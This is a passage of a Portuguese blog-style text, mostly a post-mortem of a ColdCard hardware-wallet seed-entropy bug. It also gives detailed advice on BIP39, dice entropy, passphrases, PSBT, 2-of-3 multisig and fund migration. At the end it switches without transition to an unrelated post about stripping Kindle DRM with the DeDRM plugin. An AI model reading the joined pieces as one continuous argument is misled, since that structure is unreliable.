Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar libsecp256k1, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.

Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.

Isso foi cisne branco, não cisne negro

Já vi gente chamando o caso de “black swan”, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.

O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O #ifndef errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.

Um black swan é raro, surpreendente e só parece óbvio depois. Este era um white swan: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.

E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.

Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, reportaram responsavelmente uma falha crítica de multisig. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.

A política atual de responsible disclosure continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um “we are not here to make it easy for you”, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.

Zach Herbert também documentou ataques públicos de NVK contra a Foundation depois que ela usou código GPL da ColdCard: “pure clone”, “leeches” e “affinity scamming”. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.

Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.

Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.

Não, “IA quebrou o Bitcoin” coisa nenhuma

A Coinkite escreveu que, como o firmware era público, “temos que assumir” que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.

Depois, NVK publicou um pedido de desculpas em nome da Coinkite. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.

O problema é que ele terminou tentando transformar o desastre numa “realidade sóbria do novo paradigma de IA”, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.

Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele #ifndef, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.

Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, secp256k1, SHA-256, BIP39 ou Bitcoin.

O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.

IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.

O que uma wallet realmente guarda

Bitcoin não fica “dentro” da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.

Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva secp256k1. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.

Já expliquei essa base com mais calma em [Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1 e [Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2.

Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa BIP32 pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.

O BIP39 é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.

Doze ou 24 palavras é a pergunta errada

Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.

Mas “24 palavras” não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.

É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou rand() com um timestamp.

RNG, TRNG e fontes independentes

RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.

TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A Ledger explica seu processo como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.

Outros projetos preferem combinar fontes. A Trezor usa entropia do aparelho e do host. A BitBox02 documenta cinco fontes: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.

A palavra que interessa aqui é independência. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.

E “combinadas corretamente” carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.

Jogar dados não é tão simples

Cada jogada de um D6 ideal entrega log2(6), cerca de 2,585 bits. Por isso aparecem os números 50 jogadas pra 128 bits e 99 jogadas pra aproximadamente 256 bits. A documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência. O SeedSigner usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.

Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente “rola de novo” quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.

Se eu fosse gerar uma seed manual hoje, usaria dados de precisão, do tipo usado em cassino, de mais de um fabricante ou lote. A própria BitBox recomenda cinco dados casino-grade no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque “não misturou direito”.

Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras “mais aleatórias” ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.

Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, as palavras precisam reconstruir exatamente as mesmas chaves. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.

Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: move, don’t merge.

O BTC D00M Guy tem um tutorial visual em português sobre BIP39, dados e teste de restauração. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.

As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A documentação do SeedSigner recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.

Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.

Passphrase: outra wallet, não outra senha

No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string mnemonic concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra “senha incorreta”; abre outra wallet, normalmente vazia.

Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.

Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.

Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.

No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.

Sparrow, air gap e PSBT

O Sparrow é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.

É aí que entra o PSBT, padronizado no BIP174. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.

O fluxo single-sig air-gapped fica assim:

1. Sparrow monta a transação no computador online.
2. Você exporta o PSBT por QR ou microSD.
3. ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.
4. Você confere na tela do signer e assina.
5. Sparrow importa o PSBT assinado, finaliza e transmite.

Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.

E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.

Multisig 2-de-3: mais seguro e muito mais burocrático

Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, 2-de-3 multisig com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.

Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.

“Independentes” de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.

No Sparrow, o procedimento conceitual é:

1. Crie e faça backup de cada seed separadamente.
2. Exporte de cada signer o fingerprint, derivation path e xpub.
3. Crie uma wallet Multi Signature, normalmente Native SegWit, com policy 2-de-3.
4. Importe os três keystores e faça backup do output descriptor da wallet.
5. Registre quais signers correspondem a quais fingerprints.
6. Confira um endereço de recebimento em mais de um signer.
7. Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.

O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.

Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.

Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.

Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.

Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.

O guia de boas práticas do Sparrow recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.

Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe “trocar uma chave” mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.

Fulcrum resolve privacidade, não chave fraca

Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.

Mostrei a arquitetura e a instalação em Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.

Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.

Como eu faria a migração hoje

Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:

1. Faça o inventário. Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.
2. Considere a seed comprometida. Não a digite em software online e não aceite “checker” de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.
3. Escolha a arquitetura nova. Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.
4. Gere entropia nova. Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.
5. Faça backup antes de receber. Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.
6. Teste restauração. Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.
7. Verifique o endereço na tela. Não confie só no que Sparrow mostra no monitor do computador.
8. Mande um valor pequeno. Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.
9. Mova o restante logo depois. Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.
10. Mantenha o backup antigo marcado como comprometido. Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.

Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.

Então qual hardware wallet eu recomendo?

Hoje, nenhuma.

Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é muito difícil. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.

É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.

Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.

Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.

NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante. Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.

Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A ColdCard usa uma embalagem serializada que evidencia abertura: o número aparece na bolsa, numa aba interna e no próprio aparelho. A Trezor documenta os selos holográficos de cada modelo. A BitBox combina embalagem selada com attestation criptográfica feita pelo aplicativo.

Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.

E cuidado com a linguagem: isso tudo é tamper-evident, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.

Eu começaria por estas perguntas:

1. Qual é o threat model publicado? O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.
2. De onde vem a entropia, exatamente? Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo New Wallet chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.
3. O código é realmente livre e o binário corresponde a ele? “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. Build reproduzível permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no WalletScrutiny, não apenas a promessa do fabricante.
4. Como a empresa trata quem encontra falhas? Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.
5. O que a tela confiável permite verificar? Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.
6. Existe uma rota de saída sem o fabricante? Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, PSBT e output descriptors. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.
7. Como funcionam hardware, firmware e supply chain? Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.
8. Você consegue restaurar sem improviso? Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.

Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com vulnerability, reproducible build, seed entropy, multisig e responsible disclosure. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.

Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o guia do Sparrow. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.

Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.

O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.

Conclusão

Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.

Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.

Este pode acabar sendo um dos piores episódios da história da autocustódia em Bitcoin. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.

Nos casos mais graves, o RNG reduziu o universo pra algo na casa de 2^40. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.

Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão New Wallet chamava o RNG correto.

Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.

A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.

Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.

Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.

Você paga pelo livro, mas só consegue ler onde a Amazon deixa. Não existe um aplicativo nativo decente pra Linux. Mudar pra outro leitor vira um exercício de arqueologia. Comprei um Xteink X4 novo e, claro, minha biblioteca não podia simplesmente ir junto. O arquivo estava “na minha conta”, mas não estava sob meu controle.

Durante anos, eu contornei isso pelo caminho oficial. Entrava no site da Amazon, usava Download & Transfer via USB, baixava o .azw dos livros que comprei e importava tudo no calibre. Com o plugin DeDRM configurado pro serial do meu Kindle, convertia pra EPUB e pronto.

Em 26 de fevereiro de 2025, a Amazon desativou essa opção. Sem anúncio decente, sem substituto que entregasse o arquivo e sem qualquer preocupação com quem queria manter um backup local. Desde então, meus livros mais novos ficaram presos no ecossistema deles. Voltei a tentar no ano passado, atualizei plugin, copiei arquivos do meu Kindle Paperwhite, coloquei o serial correto e nada.

Pra ser justo, em 20 de janeiro de 2026 a Amazon passou a permitir que compradores verificados baixem EPUB ou PDF quando o publisher confirma o livro como DRM-free. Ótimo. Só não resolve os livros protegidos, e a decisão continua nas mãos da editora. Títulos antigos sem DRM também precisam ser confirmados individualmente pelo publisher. Minha biblioteca não ganhou botão de download por causa disso.

Resolvi tentar de novo agora. A versão nova do DeDRM conseguiu lidar com o DRM atual, mas o processo mudou bastante. Dá trabalho, precisa de Windows numa das etapas e envolve uma ferramenta comunitária em pre-release. Funcionou. Recuperei 106 livros comprados, testei a conversão pra EPUB e agora posso ler no aparelho que eu quiser.

Este é o estado do jogo em 30 de julho de 2026. A Amazon pode mudar a criptografia ou o aplicativo amanhã. Não conte com tutorial antigo dizendo pra instalar Kindle for PC 1.17, desabilitar update e colocar o serial do aparelho no Calibre. Esse mundo já acabou.

E o óbvio precisa ser dito: estou falando dos livros que eu comprei. Não estou falando de baixar Kindle Unlimited, empréstimo de biblioteca ou livro dos outros. Leis sobre circumvention de DRM variam por país. Pesquise a legislação de onde mora e assuma responsabilidade pelo que faz.

Antes de tudo: não jogue Kindle velho fora

Amazon também não facilita reaproveitar Kindle antigo. O hardware continua bom, a bateria costuma ser substituível, a tela de e-ink dura uma eternidade, mas o software vai ficando cada vez mais fechado e limitado.

Pra quem quer ressuscitar esses aparelhos, recomendo o canal Dammit Jeff. Ele acompanha jailbreaks, KOReader, lojas alternativas e formas de manter Kindles úteis depois que a Amazon perde o interesse. Este vídeo sobre o AdBreak e os jailbreaks recentes é um bom começo. Leia também o guia atualizado do Kindle Modding antes de fazer qualquer coisa, porque firmware e método compatível mudam o tempo todo.

